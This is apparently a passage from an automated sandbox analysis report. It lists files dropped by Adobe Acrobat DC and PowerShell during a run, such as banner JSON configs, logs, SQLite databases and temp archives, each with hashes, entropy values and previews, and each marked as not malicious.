SHA-256:	D09D6B144EC462F579D550054A320C9EFAF6B3087AE875C290E2EFAAC8761379
SHA-512:	E341F522E9A37C955AC6B2AA57D71BDD1637A3B68A105AC4D20D2DF45CC49042EF487D9C41C2976D31E2A83789F7E07ED7FC4A22123E7697D51DBDD8A5C45565
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.292240694198586
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJf+dPeUkwRe9:YvXKX83IMeEEnEZc0v7G28Ukee9
MD5:	D376288525CCB63636C7A90780E886CA
SHA1:	A79E8FF2495942F5B93CF8CB362DA39E06D61EE0
SHA-256:	B4B1B16BF4E7F93BCF5608A6AD29AB0AB493670766DC5D35BE702375123CEFC5
SHA-512:	0B35D1E2665618116A6D999B27BAB70E29EB6907C08126764FB1F52EFA84394AA6E3839CAD94F31A8FFB29D031A42CC5651604EB7AD0583DFD7248C96A7222B8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.289588510975246
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfbPtdPeUkwRe9:YvXKX83IMeEEnEZc0v7GDV8Ukee9
MD5:	FC92F39B4D9867D05B642879F9FCC528
SHA1:	34EEC1EA26EA2206E5D2278CCB2F077A16846665
SHA-256:	02598345B420F320E0729BDC759429C3722D969BEE2E53373363288AF11AD47A
SHA-512:	EE785CB36CDE3A24FC90C1E8FD83525FBFF95B4D822D1D93219425055237EAA847132B6152EA699B2F782BD958E024CA585243C1DAA4A3E4384CB46A7EAEE430
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.294009783882628
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJf21rPeUkwRe9:YvXKX83IMeEEnEZc0v7G+16Ukee9
MD5:	6492D3AC33DDA4BD2877ACF56532B6B3
SHA1:	2F2C42CD1C197E244A73AAFE76A9331F59478BFD
SHA-256:	9D32EEBA613F62CDF4C1DF6B1B6A2A4EC55AC32E62FC9F69181E986044FE5612
SHA-512:	320A7D7F834BF9B0D70F34F71A868FFA554A5E7B861BAEFC48F0AD6EE3D2BA677F237E3D0CD48A4577DFE8BEFA5044BEFC2649EE18994195F09926941BB671FD
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.665518209635064
Encrypted:	false
SSDEEP:	24:Yv6X83/JzvUamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSMk:YvvV6BgkDMUJUAh8cvMR
MD5:	9F9F9F77855752701E1B1B3C60EABE14
SHA1:	6B99AB3B4CC419EA63DCAEFADEC5272AC3F35BA0
SHA-256:	40EADC2365B1AD8D5F2726473C9500290AAD66CA8BC7A171455FBDFF52F4BAC2
SHA-512:	5FD7AD8D4CB4FAB3EC41C33BB715B7151D234BE5A773E1031BC71DCD2B1F1621DC80E96BB7CA2FA9838706762B23082FB5DBF0561EDD1B59E7A231D77C732394
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.269690028623665
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJfshHHrPeUkwRe9:YvXKX83IMeEEnEZc0v7GUUUkee9
MD5:	BCF215A6A3C6FCFD48850135AE19F1AA
SHA1:	0CF75BEDE42F83EFEA47FA1E5B99C9BD0D7F2930
SHA-256:	53E3ACAC7D1B2F7E414431AE4793E50D6F4D01CA89FD4025CF16E7A2CADDC263
SHA-512:	E9A3B7DA2DCE7FDDA22D04533DC744FDE7FC4A6013FB76FD73D9B029E34CB99E5680D4C6052049BDEA6492CDED3BB86DD432CF256A4B82126B2712E64F380F5A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.273132439456764
Encrypted:	false
SSDEEP:	6:YEQXJ2HX83IMeGT+p2O9VoZcg1vRcR0YI8DoAvJTqgFCrPeUkwRe9:YvXKX83IMeEEnEZc0v7GTq16Ukee9
MD5:	468D0355CB9A6668524988F133B871D7
SHA1:	71A439D251B82399370A0AF945D523B45A798631
SHA-256:	7608C18C3E8069F51D25F404A618B8AB4394E81367EA73084F32945DA8298A72
SHA-512:	EA3E37B2082858CF9822F8B2CBAB8D2C596428F7594CFEA9C6A89994E5725E4BC869545E4F07B8F3FF63F6C4EA4516995FCE89A028C345D2F9B955D934CD0114
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"cc25a7dd-80b2-400e-9004-b376f3f53464","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736694592048,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.129731511922661
Encrypted:	false
SSDEEP:	48:YS9YOpAzLG/66A8hZazBJXKG/rloPFGV5Ih9wbe:R91ALv6AuYzBpGGzI/D
MD5:	98D782C2D66C1D093CFA00563C02BE8D
SHA1:	C4C4918134C70444A1D119E4D3AC1B9B53056939
SHA-256:	DD2A80A8BAF4B42780406381F6CBE27ABA5967F5094E94F2FB58FF72BBA8CA6E
SHA-512:	F96FCAF1BC5E10B1AF368730C4A55E3E0C621C89C08DB9EED4466179AE1CD68E5C80B95C438EAA7E8C19D4E5128A63A04E1EFBC7D85EF089EFCC18915D2C1E07
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"184df15c46ac5a12d17ff77e5be77e20","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736516721000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"6222d71032118e7500cbcd8e00cc4fe5","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736516721000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d74c45ba17774a67c5656b5df62b558d","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736516721000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"83233d0dd25b597e7d1b8aaee2e7ec9f","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736516721000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"b6103230a37cce80b1e4f5e2ab2d1cce","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736516721000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"be7478fdd02256b0385ed9b10896593f","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1876720795041142
Encrypted:	false
SSDEEP:	48:TGufl2GL7msEHUUUUUUUUdJSvR9H9vxFGiDIAEkGVvpat:lNVmswUUUUUUUUdJ+FGSItut
MD5:	5B5488ECF97AF81DF9765F07C2D7336A
SHA1:	F4F799DE57C4532A1DCEB2AB1CAA1C475C724739
SHA-256:	0FF87C5A7DFF5EAEDBFF6C558A87F6DA2D3528770899B9471DFE45F04A6C251D
SHA-512:	56B8A42A2DF56A9868CFE8D3DEF9FD004AB1A96AEE877D4F2F28972A6BF0045B4C2760FFA6D3B4DD05A73EB1DE68F1AA2A42A3C715E4E97652D9BF9E7BC864F6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.60823110988627
Encrypted:	false
SSDEEP:	48:7MAKUUUUUUUUUUdhvR9H9vxFGiDIAEkGVv3nqFl2GL7ms2:7oUUUUUUUUUUdFFGSItVKVms2
MD5:	052C686C3C89A9E17640152FDA49CFAE
SHA1:	E032F04AD95AAFCEF1BBA26E466719CC3F6416B3
SHA-256:	57C4A770D6999C4C74E514E930992C0621C5FED3E65CC2DAF842F0BC4CAB170C
SHA-512:	8A438A2B0CCE49C7EEAEF14A889FCBC66C46FD899B34C1A61BC15C89722BB609F55C1C2066434AF321769B2ECD7B3F26089A13C98396160EDC41D40F478FCCB7
Malicious:	false
Preview:	.... .c........,......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................f.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEg2D/QGURGHtfMvrzbPFaxBWBITsu6Yyu:6a6TZ44ADE2D/QrRGHtfMvTU4K
MD5:	A1D4A2D08382C68F96CC04B00A43C852
SHA1:	FF733B5BFCE0489F27B112533F90AD5F0155EFA9
SHA-256:	ECD9A04F109296E898D9B82ECC8E11BFEDFDB69DF4827CB565211CAA68637F28
SHA-512:	A44DED04749698FDE55701711C886A535D636749C38F20DD5A1C2C3E2F8DFC765FB141590C372807A1564CBB387F0789BBB7EF2C09A37C294D6AEC07FC574029
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulxmH/lZ:NllUg
MD5:	D904BDD752B6F23D81E93ECA3BD8E0F3
SHA1:	026D8B0D0F79861746760B0431AD46BAD2A01676
SHA-256:	B393D3CEC8368794972E4ADD978B455A2F5BD37E3A116264DBED14DC8C67D6F2
SHA-512:	5B862B7F0BCCEF48E6A5A270C3F6271D7A5002465EAF347C6A266365F1B2CD3D88144C043D826D3456AA43484124D619BF16F9AEAB1F706463F553EE24CB5740
Malicious:	false
Preview:	@...e................................. ..............@..........

C:\Users\user\AppData\Local\Temp\MSIb3144.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5146815864506182
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClqu:Qw946cPbiOxDlbYnuRK+bbu
MD5:	7D326C33E697D711A076B5486467AF8C
SHA1:	9374A1D60008E2BACC14C01D1617B46F85867A02
SHA-256:	FA12B4392BE5747F416D8DED80A7F96FB037F10A9D5120544639C902B379AE1F
SHA-512:	1445191728E75B8D2F525639DAB7C987046EF772BF2DD2A8119F99312F9C2042417DDC2333825CAD178A386C630CCBEE821035AF079DA832CC44AEC367756092
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .0.8.:.4.5.:.2.5. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_arpffv0x.xm2.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_kq2mlc04.oo1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 08-45-17-916.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.345946398610936
Encrypted:	false
SSDEEP:	384:zHIq8qrq0qoq/qUILImCIrImI9IWdFdDdoPtPTPtP7ygyAydy0yGV///X/J/VokV:nNW
MD5:	8947C10F5AB6CFFFAE64BCA79B5A0BE3
SHA1:	70F87EEB71BA1BE43D2ABAB7563F94C73AB5F778
SHA-256:	4F3449101521DA7DF6B58A2C856592E1359BA8BD1ACD0688ECF4292BA5388485
SHA-512:	B76DB9EF3AE758F00CAF0C1705105C875838C7801F7265B17396466EECDA4BCD915DA4611155C5F2AD1C82A800C1BEC855E52E2203421815F915B77AA7331CA0
Malicious:	false
Preview:	SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:088+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=f94b8f43-fcd8-49f4-8c6e-bbf5cd863db9.1696420882088 Timestamp=2023-10-04T13:01:22:089+0100 ThreadID=3400 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.363642853020657
Encrypted:	false
SSDEEP:	384:YnT6LPHSvzc0X9Ms17UH2Y3yKpOic/nBQrJ9vXH5ozgADJr1l7KUx7e7SP24karc:0+5
MD5:	CEFA0517A67C211809A6C9DEAADEE216
SHA1:	480A6240AC3E19AD16A22A7C6C05A76691F883FF
SHA-256:	5D10F1A11F0099ABA3C372AE57FB967E39824C2933A7EC166D8BB740BAB68985
SHA-512:	C5D76BB991DD0105511F99DDBD50E514C65D34D0CF82D393BDF8F79F824604A34FC1DFF66EA1D3C5E56BAC12EDE73B4C04FD6B67302470C8C93EC478B6CD8A5D
Malicious:	false
Preview:	SessionID=2af4bd39-22dc-49d1-a32a-f1759f77f872.1736516717931 Timestamp=2025-01-10T08:45:17:931-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=2af4bd39-22dc-49d1-a32a-f1759f77f872.1736516717931 Timestamp=2025-01-10T08:45:17:932-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=2af4bd39-22dc-49d1-a32a-f1759f77f872.1736516717931 Timestamp=2025-01-10T08:45:17:932-0500 ThreadID=7772 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=2af4bd39-22dc-49d1-a32a-f1759f77f872.1736516717931 Timestamp=2025-01-10T08:45:17:932-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=2af4bd39-22dc-49d1-a32a-f1759f77f872.1736516717931 Timestamp=2025-01-10T08:45:17:932-0500 ThreadID=7772 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.3862199701682325
Encrypted:	false
SSDEEP:	768:anddBuBYZwcfCnwZCnR8Bu5hx18HoCnLlAY+iCBuzhLCnx1CnPrRRFS10l8gT2rx:we
MD5:	C5F5C26A6DBAFA63089D6EAB151B0949
SHA1:	2BB30DB4CF7EA6C6ED9E6CB142826AC91B79351B
SHA-256:	C56A992BA60497B007287D3F231597A6E41C94BE1140A204639EDC64B56F8A99
SHA-512:	1C9E8FBA83436F7D7630CC71A1B6D0E863F2C2028FD4AFA0953AE6B53F06B2CB63279DC13435BBA9ECC2EA374B58FF82C1C49EF1E38B78B9DA5072994FCA8D30
Malicious:	false
Preview:	03-10-2023 12:50:40:.---2---..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : *************************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : ***********************************..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Starting NGL..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..03-10-2023 12:50:40:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..03-10-2023 12:50:40:.Closing File..03-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\0ff87b0f-ba67-45be-8887-dfd3d3748961.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\96b68917-8337-4b53-931e-5e3c854cc134.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
